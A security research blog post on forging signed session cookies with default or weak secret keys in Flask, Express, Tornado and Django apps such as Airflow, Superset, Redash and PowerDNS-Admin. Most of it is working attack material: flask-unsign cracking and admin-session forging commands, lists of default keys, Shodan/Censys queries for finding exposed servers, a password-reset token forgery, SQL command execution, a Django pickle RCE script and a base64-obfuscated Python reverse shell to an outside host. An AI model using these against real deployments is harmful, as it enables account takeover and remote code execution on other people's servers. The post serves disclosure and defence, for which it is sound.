They Are Dangerous

Stateless authentication and authorization with “signed web tokens” is a real gold mine to security researcher. They are hard to implement securely, and have several very easy to find and critical impact vulnerabilities (hardcoded secrets, weak signing keys, several types of algorithm confusion, etc). Today I will talk about the number of public CVEs I started with, how you can find same critical issues in a bunch of other products.

Flask signed cookies

This story begins with Ian Carroll article Exploiting outdated Apache Airflow instances about Apache Airflow vulnerability CVE-2020-17526: Incorrect Session Validation in Apache Airflow Webserver versions prior to 1.10.14 with default config allows a malicious airflow user on site A where they log in normally, to access unauthorized Airflow Webserver on Site B through the session from Site A. Apache Airflow is an open-source platform for developing, scheduling, and monitoring batch-oriented workflows. Airflow’s extensible Python framework enables you to build workflows connecting with virtually any technology. By its nature, it is designed to be connected to many internal systems, and it comes with a web-based interface to introspect it.

In this case, Airflow’s web interface uses Flask’s stateless, signed cookies to store authentication data. This means that Airflow is reliant on the user_id attribute in the session cookie to determine if you are logged in. Normally, we cannot modify these attributes because the cookie is signed, which means we will break the seal by modifying the contents — unless we have the key!

Flask’s Session Management

Flask by default uses something called signed cookies, which is simply a way of storing the current session data on the client (rather than the server) in such a way that it cannot (in theory) be tampered with.

One of the drawbacks of this approach, however, is that the cookies are not encrypted, they’re signed. This means that the content of the session can be read without the secret key.

Flask secure cookie

Session data

The session data is the actual content of the session, while at first glance it looks unreadable, but to those who recognise it, it’s actually just a Base64 encoded string. If string starts with . it is additionally zlib compressed. If we were to decode this with itsdangerous’ base64 decoder, we’d get the following output: {logged_in: False}

Timestamp

The timestamp tells the server when the data was last updated. Depending on what version of Python library ItsDangerous you’re using, this might be the current Unix timestamp, or the current Unix timestamp minus the epoch (this was changed due to a bug, whereby people couldn’t set dates before 2011, source).

If the timestamp appears to be older than 31 days, the session is marked as expired and will be regarded as invalid.

Cryptographic Hash

This is the part which makes the cookie secure. Before the server sends you your latest session data, it calculates a sha1 hash based on the combination of your session data, current timestamp and the server’s secret key.

Whenever the server then sees that session again, it will deconstruct the parts, and verify them using the same method. If the hash doesn’t match the given data, it will know it has been tampered with and will regard the session as invalid.

This means that if your secret key is easy to guess or is publicly known, an attacker can cleverly modify the session’s content without much effort (speaking of secrets being publicly known, you’d be surprised how many results are returned on GitHub if you search for secret_key). We will return to the information gathering process later. At this moment, you should know that the Airflow default key was temporary_key.

Flask-Unsign

Command line tool Flask-Unsign to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys. In addition to it comes a large dictionary of secret keys - Flask-Unsign-Wordlist.

flask-unsign -d -c eyJsb2dnZWRfaW4iOmZhbHNlfQ.XD88aw.AhuKIwFPpzGDFLVbTcsmgEJu-s4
{'logged_in': False}

Attack:

flask-unsign -u -c eyJsb2dnZWRfaW4iOmZhbHNlfQ.XD88aw.AhuKIwFPpzGDFLVbTcsmgEJu-s4
eyJsb2dnZWRfaW4iOmZhbHNlfQ.XD88aw.AhuKIwFPpzGDFLVbTcsmgEJu-s4 : 'CHANGEME'

Airflow exploitation

We can very easily browse to an Airflow instance’s login page, capture the unauthenticated cookie, and test to see if it is vulnerable:

flask-unsign -d -c .eJw1z0tOxDAMgOG7ZD2LPBwnmctUfgrE0EFtZ4W4O5YQa-u3P3-nzQ8739L9Ol52S9u7pnsCVVJpLgidHavY4sKwSm5TUBpWWkZSRGnW5pUzxoQrz1FxyMqdaJaxGBBBrSHMukTWciZvRNzA1DlrH56zkgPyULNmHbWRpoB82fFJu-3XP03Ow7fr-WF7CHMtYVogsy-C6dGLq0_p3oG55VDVuB2bHk-hh0UT4S29Tjv-nizp5xe8LkvA.ZFT_9A.ajnim22SwtxPFygdAMO3sHMPCBQ
{'_fresh': True, '_id': '...', '_permanent': True, 'csrf_token': '...', 'locale': 'en', 'user_id': '1'}

It’s then trivial to take that same cookie and forge the user_id attribute, which will designate what user ID you want to login as. Since we are using stateless cookies, the Airflow instance has no idea we are modifying this attribute. In this example we’ll try an ID of 1, which is typically an admin:

flask-unsign -s --secret 'temporary_key' -c "{'_fresh': True, '_id': '1', 'csrf_token': '1', 'locale': 'en', 'user_id': '1', 'user_logged': True}"

.eJyrVopPK0otzlCyKikqTdVRis9MUbJSMlTSUUouLkqLL8nPTs2DCuTkJyfmpAI5QBEdpdLi1CKEYjAvJz89PTUFYlItAOuCHHs.ZFUEhA.Pd8W08IQQO3p1SOY0kSxnYopfjw

Once you are logged in, Airflow’s web UI exposes many sensitive things, and is often an extremely critical issue. For example, CVE-2020-11978, a RCE vulnerability in one of the example DAGs shipped with airflow.

Airflow

Remediating

Apache Airflow does not use the flask signed cookies anymore.

Recon

Now. When you get familiar with Airflow vulnerability, we can move to the recon. Initial Luke Paris research Baking Flask cookies with your secrets use the Shodan to find all Werkzeug servers that set cookie session with query "Server: Werkzeug" and "Set-Cookie: session=", but this is not working anymore. Better way to do this is to use Censys.io query: services.http.response.headers.set_cookie:"session" and services.http.response.headers.server:"Werkzeug"

Shodan search results

Censys search results

Just because the servers are running Werkzeug, doesn’t mean they’re running Flask. Furthermore we’re not taking applications whose information is stripped by another web server like Nginx, those who don’t instantly set a cookie or which are running behind a firewall into account. So take the following data with a grain of salt.

After weeding out the non-signed cookies (generally server-side cookies, or other frameworks which might use the same naming convention and base code as Flask), I was left with 1705 valid sessions. Passing each of these to Flask-Unsign, resulted in 471 cracked sessions which is around 27%. Of these 471 sessions, only 103 unique secret keys were used.

Flask statistics

Super secret key

There is no patter for this secret key. Most common applications are (Cookiecutter Flask)[https://github.com/cookiecutter-flask/cookiecutter-flask] and (AdminLTE Flask)[https://github.com/app-generator/flask-dashboard-adminlte] template engine. Exploitation is pretty simple and can be done by _id and _user_id bruteforce.

PowerDNS-Admin

PowerDNS is a DNS web interface with advanced features. Default docker configuration is:

$ docker run -d \
    -e SECRET_KEY='a-very-secret-key' \
    -v pda-data:/data \
    -p 9191:80 \
    powerdnsadmin/pda-legacy:latest

Default hardcoded configuration secret_key is e951e5a1f4b94151b360f47edf596dd2. It’s then trivial to take that same cookie and forge the _user_id attribute (not user_id), which will designate what user ID you want to login as. Since we are using stateless cookies, the PowerDNS instance has no idea we are modifying this attribute. In this example we’ll try an ID of 1, which is typically an admin:

{'_csrf_token': '4c8749e76e1dc50095928379ee6fb4f3d1beb4b2ea13dc015d7d7331383dbfa3', '_fresh': True, '_id': 'abcfe6c454c3cc59e69623b40b3c5f282e7ff5cff5fd6461e2383b79cb9cb9cd874245d70c8240c5711975d72202f760b2a14ff583b051db3fc760657afdbb41', '_permanent': True, '_user_id': '1', 'authentication_type': 'LOCAL'}
flask-unsign -s --secret 'UOFy1xv/enA8CFfIjP9vQw==' -c "{'_fresh': True, '_id': '1', '_permanent': True, '_user_id': '1', 'authentication_type': 'LOCAL', 'csrf_token': '1', 'user_logged': True}"

Superset

Another very very common secret key is \2\1thisismyscretkey\1\2\\e\\y\\y\\h. It is usually used by Apache Superset. Same as in case of PowerDNS and Airflow an attacker can login as an administrator by forging a session cookie with a user_id or _user_id value set to 1, using the off-the-shelf flask-unsign toolkit. “1” corresponds to the first Superset user, who is almost always an administrator. Setting the forged session cookie in the browser’s local storage and refreshing the page allows an attacker to access the application as an administrator.

Steps to Reproduce:

Get session cookie token from server with request

GET /login/ HTTP/1.1
Host: <edited>
User-Agent: Claims/0.0.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close

Response session in my example is

HTTP/1.1 200 OK
Set-Cookie: session=.eJxTqo6JUY9PK0otzgAyrBRCikpTdRRAYpkpYAEgYQjEYLHk4qK0-JL87NQ8DKmc_OTEnFSYMFgBWLy0OLUIzahaJQBpniQP.ZFeRIg.sa026ACffnlA5xOAWJLNBwxE_08; HttpOnly; Path=/; SameSite=Lax

Brute force session secret key with Flask-Unsign tool

flask-unsign --wordlist ~/wordlist/mylist.txt --unsign --cookie .eJxTqo6JUY9PK0otzgAyrBRCikpTdRRAYpkpYAEgYQjEYLHk4qK0-JL87NQ8DKmc_OTEnFSYMFgBWLy0OLUIzahaJQBpniQP.ZFeRIg.sa026ACffnlA5xOAWJLNBwxE_08
[*] Session decodes to: {'_fresh': False, 'csrf_token': 'b8a35a047eaff7e7ad0d3193291ca7a35f0e9e70', 'locale': 'en'}
[+] Found secret key after 38851 attempts
'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h'

Forge admin session:

flask-unsign --sign --secret=\"\\x02\\x01thisismyscretkey\\x01\\x02\\e\\y\\y\\h\" --cookie "{\'_fresh\': True, \'_id\': \'1\', \'csrf_token\': \'1\', \'locale\': \'en\', \'user_id\': \'1\'}"

Superset Postgresql

Superset is designed to enable integrations with a variety of databases for exploring data and creating visualizations. Admin access gives attackers a lot of control over these databases and the ability to add and remove database connections. By default database connections are set up with read-only permissions but an attacker with admin access can enable writes and DML (data model language) statements. The powerful SQL Lab interface allows attackers to run arbitrary SQL statements against connected databases. Depending on database user privileges, attackers can query, modify, and delete any data in the database as well as execute remote code on the database server:

DROP TABLE IF EXISTS cmd_exec;          -- [Optional] Drop the table you want to use if it already exists
CREATE TABLE cmd_exec(cmd_output text); -- Create the table you want to hold the command output
COPY cmd_exec FROM PROGRAM 'id';        -- Run the system command via the COPY FROM PROGRAM function
SELECT * FROM cmd_exec;                 -- [Optional] View the results
DROP TABLE IF EXISTS cmd_exec;          -- [Optional] Remove the table

Superset default secret key before version 1.4.1 is \x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h. After version 1.4.1 is CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET. Additionally, deployment template secret is thisISaSECRET_1234.

SECRET_KEYS = [
    b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h',  # version < 1.4.1
    b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET',          # version >= 1.4.1
    b'thisISaSECRET_1234',                            # deployment template
    b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY',          # documentation
    b'TEST_NON_DEV_SECRET'                            # docker compose
]

The Superset team made an patch with the 2.1 release to not allow the server to start up if it’s configured with a default SECRET_KEY. With this update, many new users of Superset will no longer unintentionally shoot themselves in the foot.

Discrepancies

Secret keys you-will-never-guess, secret, dev and <some secret key> do not have any common usage at frameworks. Key temporary_key is used at the Airflow mostly.

Redash

One of the popular sessions is the c292a0a3aa32397cdb050e233733900f. Redash insecure default configuration. If you configured Redash without explicitly specifying the REDASH_COOKIE_SECRET environment variable, Redash instead used a default value that is the same across all installations. In such cases, the instance is vulnerable to attackers being able to forge sessions using the known default value.

Exploitation

Because Flask sessions are signed with a static secret c292a0a3aa32397cdb050e233733900f, if this secret is known to an attacker then they can modify the session state. In this case, we can modify the Redash user_id for the session and log in as any user. But there is another interesting exploit for the vulnerability. It is easiest to forge a password reset link for Redash:

# noinspection PyUnresolvedReferences
from itsdangerous import    URLSafeTimedSerializer, 
                            SignatureExpired, 
                            BadSignature

logger = logging.getLogger(__name__)
serializer = URLSafeTimedSerializer(settings.SECRET_KEY)


def invite_token(user):
    return serializer.dumps(str(user.id))


def verify_link_for_user(user):
    token = invite_token(user)
    verify_url = "{}/verify/{}".format(base_url(user.org), token)

    return verify_url

Unfortunately Flask-Unsign doesn’t support URLSafeTimedSerializer and some modification required to crack the signature:

itsdangerous

IjEi.YhAmmQ.cdQp7CnnVq02aQ05y8tSBddl-qs : 'c292a0a3aa32397cdb050e233733900f' | b'itsdangerous'

To get the reset link for user ID 1, we simply run:

from itsdangerous import URLSafeTimedSerializer, SignatureExpired, BadSignature
serializer = URLSafeTimedSerializer("c292a0a3aa32397cdb050e233733900f")
serializer.dumps(str("1"))

Visit url {host}/redash/reset/IjEi.YhAmmQ.cdQp7CnnVq02aQ05y8tSBddl-qs and choose a new password for user ID 1. This then logs us into their account.

Okta sample application

Flask Sample Applications for Okta This example shows you how to use Flask to login to your application with a Custom Login page. Further analysis showed that misconfiguration of Okta plugin will allows a malicious unauthorised user to get access to internal information on behalf of any user.

Let’s run simple appliction as it is suggested by Readme file. Unauthorised request to http://localhost:8080/login will return response with anonimous cookies:

Set-Cookie: oidc_id_token=;
Set-Cookie: session=eyJvaWRjX2NzcmZfdG9rZW4iOiJ3QXR0djJ1VTh6THRYcDRGQmZXdXFaa2VVbS1vLWF1dCJ9.YQqJdA.jQRl7EpXNERRAwUYhWidsLxSifs;

Okta sample application’s web interface uses Flask’s stateless, signed cookies to store sensitive information. Signed cookies is simply a way of storing the current session data on the client (rather than the server) in such a way that it cannot (in theory) be tampered with. There are three main parts of signed cookie: Session Data.Timestamp.Cryptographic Hash, While at first glance it looks unreadable, but to those who recognise it, it’s actually just a Base64 encoded string {'oidc_csrf_token': '-2uEdtBz0S2P2PawgH7x_inYu4zp_W8m'} signed by Cryptographic Hash. This is the part which makes the cookie ‘secure’. Before the server sends you your latest session data, it calculates a sha1 hash based on the combination of your session data, current timestamp and the server’s secret key. Whenever the server then sees that session again, it will deconstruct the parts, and verify them using the same method. If the hash doesn’t match the given data, it will know it has been tampered with and will regard the session as invalid.

Let’s take a look on example Okta application. Most interesting part of config file:

app = Flask(__name__)
app.config.update({
    'SECRET_KEY': 'SomethingNotEntirelySecret',
    'OIDC_CLIENT_SECRETS': './client_secrets.json',
    'OIDC_ID_TOKEN_COOKIE_SECURE': False,
    'OIDC_SCOPES': ["openid", "profile", "email"],
    'OIDC_CALLBACK_ROUTE': '/authorization-code/callback'
})

Vulnerable application uses easily predictable secret key to sign session cookie. Malicious user can forge any Flask ‘secure’ signed cookie using key SomethingNotEntirelySecret. Unfortunately for attacker it is not enough to completely bypass authorisation mechanism as OpenIDConnect library have own session handling logic. Luckily for us it relies on same SECRET_KEY as it shown at on source code of flask-oidc. Session cookies is JWT token, signed by cryptographic hash calculated using same secret key.

# create signers using the Flask secret key
self.extra_data_serializer = JSONWebSignatureSerializer(
    app.config['SECRET_KEY'], salt='flask-oidc-extra-data')
self.cookie_serializer = JSONWebSignatureSerializer(
    app.config['SECRET_KEY'])

To forge ID Token oidc_id_token malicious user should know SECRET_KEY. Hopefully it was discovered earlier so we are ready for final exploit. Payload signed with key SomethingNotEntirelySecret with expiration day in future should be packed to JWT token and sended to vulnerable server with cookie. ID tokens follow the JSON Web Token (JWT) standard, which means that their basic structure conforms to the typical JWT Structure, and they contain standard JWT Claims asserted about the token itself. ID tokens also contain claims asserted about the authenticated user, which are pre-defined by the OpenID Connect (OIDC) protocol, and are thus known as standard OIDC claims. Some standard OIDC claims include:

Sample exploit for this vulnerability presented below.

	from itsdangerous import JSONWebSignatureSerializer
	payload = {
        "sub": "0123456789abcdef",
        "name": "Test Name",
        "email": "attacker@example.com",
        "ver": 1,
        "iss": "https://example.com",
        "aud": "0123456789abcdef",
        "iat": 1000000000,
        "exp": 2000000001,
        "jti": "ID.0123456789abcdef-0123456789abcdef",
        "amr": [ "pwd" ],
        "preferred_username": "attacker@example.com",
        "auth_time": 2000000001,
        "at_hash": "0123456789abcdef"
    }
    salts = [None,'flask-oidc-cookie','flask-oidc-extra-data']
    algs = [None,'HS256','HS512','HS384']
    for salt in salts:
        for alg in algs:
            cookie_serializer = JSONWebSignatureSerializer(secret_key=secret_key,salt=salt,algorithm_name=alg)
            print(cookie_serializer.dumps(payload).decode())

JAWA

Jamf Automation and Webhook Assistant JAWA is a web server for hosting automation tools that interact with Jamf Pro, such as a webhook reciever, cron/timed exectution of scripts, and automated report generation. It is a flask app. If development team left Secret_Key by default it will allow any malicious user to get root access to vulenerable application.

JAWA application before commit

if __name__ == '__main__':
    app.secret_key = "untini"
    serve(app, url_scheme='https',host='0.0.0.0', port=8000)

Step to reproduce

flask-unsign --sign --secret 'untini' --cookie "{'password': 'password', 'username': 'admin'}"

JAWA cron job reverse shell

python3 -c "import base64;exec(base64.b64decode('aW1wb3J0IHNvY2tldCwgc3VicHJvY2VzcztzID0gc29ja2V0LnNvY2tldCgpO3MuY29ubmVjdCgoJ3dyamMuZGRucy5uZXQnLDI1KSkKd2hpbGUgMTogIHByb2MgPSBzdWJwcm9jZXNzLlBvcGVuKHMucmVjdigxMDI0KSwgc2hlbGw9VHJ1ZSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuUElQRSwgc3RkaW49c3VicHJvY2Vzcy5QSVBFKTtzLnNlbmQocHJvYy5zdGRvdXQucmVhZCgpK3Byb2Muc3RkZXJyLnJlYWQoKSk='))"

JAWA cron job reverse shell

More samples

aaPanel

aaPanel is a software that improves the efficiency of managing servers. Application before version 6.8.27 used unsafe MD5 hashing for session cookie name generation:

app.secret_key = public.md5(str(os.uname()) + str(psutil.boot_time())) 
#app.secret_key = uuid.UUID(int=uuid.getnode()).hex[-12:]
app.config['SESSION_COOKIE_NAME'] = public.md5(app.secret_key)

Probably can be exploited with hashcat:

hashcat -m 0 uuid.txt -a 3 -1 abcdef\?d \?1\?1\?1\?1\?1\?1\?1\?1\?1\?1\?1\?1 
Session..........: hashcat
Status...........: Running
Hash.Mode........: 0 (MD5)
Hash.Target......: cd42b305cc30be7a51e3bfc220394668
Time.Started.....: Sun May  7 14:52:54 2023 (25 secs)
Time.Estimated...: Sun May  7 17:52:07 2023 (2 hours, 58 mins)
Speed.#1.........: 26176.2 MH/s (6.02ms) @ Accel:32 Loops:128 Thr:512 Vec:1

Express

Express cookie-session module that handles the cookie signing of the application. After a successful login, the application sets the following two different cookies:

session=eyJjc3JmU2VjcmV0IjoidHdVWklTdDZIWUJRTjlrdEdCQmdfWnVaIiwiZmxhc2giOnt9fQ==; session.sig=cXwQnyz3vC31h0MmEJ5UisD8u30

As Flask, Express cookie-session uses stateless, signed cookies to store authentication data. This means that Express is reliant on the user attribute in the session cookie to determine if you are logged in. Normally, we cannot modify these attributes because the cookie is signed, which means we will break the seal by modifying the contents — unless we have the key! session cookie is signed with sha1 algorithm. Session admin cookie {"flash":{},"passport":{"user":"administrator"}}. Where passport user can be an username or id. This is can be exploited with the following code:

def sign(data, key):
    key = key.encode()
    data = data.encode()
    hashData = hmac.new(key, data, sha1)
    signData = base64.encodebytes(hashData.digest()).decode('utf-8')
    return signData.replace('/', '_').replace('+', '-').replace('=', '').replace('\n','')

secret_key = "magic"
##################'session={"flash":{},"passport":{"user":"administrator"}}
cookie_sig = sign('session=eyJmbGFzaCI6e30sInBhc3Nwb3J0Ijp7InVzZXIiOiJhZG1pbmlzdHJhdG9yIn19', secret_key)
cookies = {'session': 'eyJmbGFzaCI6e30sInBhc3Nwb3J0Ijp7InVzZXIiOiJhZG1pbmlzdHJhdG9yIn19', 'session.sig': cookie_sig}
resp = requests.get(f'{hostURL}/', cookies=cookies)

Recon

Now. When you get familiar with Express cookie signing algorythm, we can move to the recon. Again we can use the Shodan to find all express servers that set cookie session with query "Set-Cookie: session.sig=". Or the Censys.io query: services.http.response.headers.set_cookie:'session.sig='

Just because the server return session.sig cookie they’re running express application. Furthermore we’re not taking applications whose cookies were renamed to something else. So take the following data with a grain of salt.

After weeding out the non-signed cookies (generally server-side cookies, or other frameworks which might use the same naming convention and base code as Express), I was left with 2346 valid sessions. Passing each of these to Flask-Unsign, resulted in 238 cracked sessions which is around 10%. Of these 238 sessions, only 25 unique secret keys were used.

Express statistcs

Parse Server

Parse is a widely used open-source framework for the development of application backends. The framework aids developers in speeding up application development to a considerable extent. It also cuts down on the effort necessary for developing an application. Parse can be used to develop conventional software projects such as web, mobile, and IoT (Internet of Things) applications.

var cookieSessionSecret = options.cookieSessionSecret || require('crypto').randomBytes(64).toString('hex');

OR

export const PARSE_DASHBOARD_OPTIONS = {
  allowInsecureHTTP:
    process.env.PARSE_DASHBOARD_INSECURE_HTTP === "false" ? false : true,
  cookieSessionSecret:
    process.env.PARSE_DASHBOARD_COOKIE_SESSION_SECRET || "myCookieSessionSecret",
}

Parse Dashboard

Microsoft Authentication Library (MSAL) for Node.

The MSAL authentication library tutorial does not have the vulnerability, and have anouncement about secure key storage. It will be used for demonstration purposes only. My goal is to demonstrate some features that can be used to bypass authorization checks.

Warning

You can copy sample application and change express session to the cookie-session to reproduce issue. When OpenID flow is finished, application acquires a token by exchanging the Authorization Code received from the first step of OAuth2.0 Authorization Code flow and safe it to the session.

try {
    const tokenResponse = await msalInstance.acquireTokenByCode(req.session.authCodeRequest);
    req.session.accessToken = tokenResponse.accessToken;
    req.session.idToken = tokenResponse.idToken;
    req.session.account = tokenResponse.account;
    req.session.isAuthenticated = true;

    res.redirect(state.redirectTo);
} catch (error) {
    next(error);
}

What if session information will be signed with known secret key. We can create a new session with isAuthenticated flag and account information:

or name in ["administrator","admin","user"]:
        payload = {
            "isAuthenticated":True, 
            "account":{
                "username": name,
                "name": name,
                "idTokenClaims":{
                    "emails":[email],
                    "name":name,
                    "preferred_username":name
                },
                "localAccountId":"1",
                "homeAccountId":"1",
                "nativeAccountId":"1",
                "environment":"login.microsoftonline.com",
                "tenantId":"01234567-1234-1234-1234-1234567890ab"
            }
        }

Our session will be

Cookie: session=eyJpc0F1dGhlbnRpY2F0ZWQiOiB0cnVlLCAiYWNjb3VudCI6IHsidXNlcm5hbWUiOiAiYWRtaW4iLCAibmFtZSI6ICJhZG1pbiIsICJpZFRva2VuQ2xhaW1zIjogeyJlbWFpbHMiOiBbImphbi5kb2VAdGVzdC5jb20iXSwgIm5hbWUiOiAiYWRtaW4iLCAicHJlZmVycmVkX3VzZXJuYW1lIjogImFkbWluIn0sICJsb2NhbEFjY291bnRJZCI6ICIxIiwgImhvbWVBY2NvdW50SWQiOiAiMSIsICJuYXRpdmVBY2NvdW50SWQiOiAiMSIsICJlbnZpcm9ubWVudCI6ICJsb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tIiwgInRlbmFudElkIjogIjAxMjM0NTY3LTEyMzQtMTIzNC0xMjM0LTEyMzQ1Njc4OTBhYiJ9fQ==; session.sig=tBpqIcjIFB0bCGh230UgmuVnAqw
{"isAuthenticated": true, "account": {"username": "admin", "name": "admin", "idTokenClaims": {"emails": ["jan.doe@test.com"], "name": "admin", "preferred_username": "admin"}, "localAccountId": "1", "homeAccountId": "1", "nativeAccountId": "1", "environment": "login.microsoftonline.com", "tenantId": "01234567-1234-1234-1234-1234567890ab"}}

Following routs will have different results:

// custom middleware to check auth state
function isAuthenticated(req, res, next) {
    if (!req.session.isAuthenticated) {
        return res.redirect('/auth/signin'); // redirect to sign-in route
    }

    next();
};

router.get('/id',
    isAuthenticated, // check if user is authenticated
    async function (req, res, next) {
        res.render('id', { idTokenClaims: 
        req.session.account.idTokenClaims });
    }
);

router.get('/profile',
    isAuthenticated, // check if user is authenticated
    async function (req, res, next) {
        try {
    // GRAPH_ME_ENDPOINT is https://graph.microsoft.com/v1.0/me
            const graphResponse = await fetch(GRAPH_ME_ENDPOINT, 
                req.session.accessToken);
            res.render('profile', { profile: graphResponse });
        } catch (error) {
            next(error);
        }
    }
);

Users id bypass

Some ideas about json claim attributes. The session limit is huge that allows to inject a number of potential flags for each rout. Sample authentication flags are:

isAuth
isAuthAdmin
isAuthenticated
isAdmin
isAdminLogged
isAdminLoggedIn
isLogin
isLogged
isLoggedIn
isUserLoggedIn
is_logined
loggedIn

Tornado

As Flask, Tornado web framework signs and timestamps a cookie so it cannot be forged. Normally, we cannot modify these attributes because the cookie is signed, which means we will break the seal by modifying the contents — unless we have the key! Signed cookie is signed with SHA256 algorithm.

Tornado warning

# The v2 format consists of a version number and a series of
# length-prefixed fields "%d:%s", the last of which is a
# signature, all separated by pipes.  All numbers are in
# decimal format with no leading zeros.  The signature is an
# HMAC-SHA256 of the whole string up to that point, including
# the final pipe.
#
# The fields are:
# - format version (i.e. 2; no length prefix)
# - key version (integer, default is 0)
# - timestamp (integer seconds since epoch)
# - name (not encoded; assumed to be ~alphanumeric)
# - value (base64-encoded)
# - signature (hex-encoded; no length prefix)
def format_field(s: Union[str, bytes]) -> bytes:
    return utf8("%d:" % len(s)) + utf8(s)
to_sign = b"|".join(
    [
        b"2",
        format_field(str(key_version or 0)),
        format_field(timestamp),
        format_field(name),
        format_field(value),
        b"",
    ]
)
def _create_signature_v2(secret: Union[str, bytes], s: bytes) -> bytes:
    hash = hmac.new(utf8(secret), digestmod=hashlib.sha256)
    hash.update(utf8(s))
    return utf8(hash.hexdigest())

Recon

Now. When you get familiar with Tornado cookie signing algorythm, we can move to the recon. Again we can use the Shodan to find all express servers that set cookie session with query Server: TornadoServer "2|1:0|". Or the Censys.io query: services.http.response.headers.set_cookie:'*="2|1:0|*'

Just because the servers are running TornadoServer, doesn’t mean they’re using set_signed_cookie. Furthermore we’re not taking applications whose information is stripped by another web server like Nginx, those who don’t instantly set a cookie or which are running behind a firewall into account. So take the following data with a grain of salt.

After weeding out the non-signed cookies (generally server-side cookies, or other frameworks which might return cookie value with 2|1:0| substring), I was left with 561 valid sessions. Passing each of these to Flask-Unsign, resulted in 76 cracked sessions which is around 13%. Of these 76 sessions, only 10 unique secret keys were used.

Tornado sessions statistics

Set-Cookie: username=2|1:0|10:1683628401|8:username|196:eyJ1c2VybmFtZSI6ICI4MTA1YTExYjJjMDY0YjE0OTE2YjZlYmZmMzZkNGVjYSIsICJuYW1lIjogIkFub255bW91cyBFdWFudGhlIiwgImRpc3BsYXlfbmFtZSI6ICJBbm9ueW1vdXMgRXVhbnRoZSIsICJpbml0aWFscyI6ICJBRSIsICJjb2xvciI6IG51bGx9|8b79b3083c52d1ba6baf18b01e31bd82419ef5cc0bb531e6622afc172b487d68;

Decoded value:

{"username": "8105a11b2c064b14916b6ebff36d4eca", "name": "Anonymous Euanthe", "display_name": "Anonymous Euanthe", "initials": "AE", "color": null}

Django signed_cookies

To use cookies-based sessions, set the SESSION_ENGINE setting to “django.contrib.sessions.backends.signed_cookies”. The session data will be stored using Django’s tools for cryptographic signing and the SECRET_KEY setting. Algorithm must be an algorithm supported by hashlib, it defaults to ‘sha256’.

django-warning

Remote code execution was known for a while. In 2018 year Sentry debug mode was used to exploit session cookies - Remote Code Execution on Sentry. Pickle - django.contrib.sessions.serializers.PickleSerializer is a binary protocol for (un)serializing Python object structures, such as classes and methods in them. If we were able to forge our own session that contains arbitrary pickle content, we could execute commands on the system. However, if the SECRET_KEY is known it can be used to run code:

import django.core.signing, django.contrib.sessions.serializers
from django.http import HttpResponse
import cPickle
import os

SECRET_KEY='!!changeme!!'
cookie='<cookie>'
newContent =  django.core.signing.loads(cookie,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
class PickleRce(object):
    def __reduce__(self):
        return (os.system,("sleep 30",))
newContent['testcookie'] = PickleRce()

print django.core.signing.dumps(newContent,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies',compress=True)

Recommendation

There are multiple ways you could avoid this issue. The first and most obvious way of doing so is to simply never use default secrets! Make your secret key random. The most practical solution is to not allow the server to start up if it’s configured with a default SECRET_KEY.

Conclusion

I hope this post encourages more research into cookies singing, as I think it would be valuable for the web application security and the internet. If you have any questions, feel free to DM me on Twitter.

Links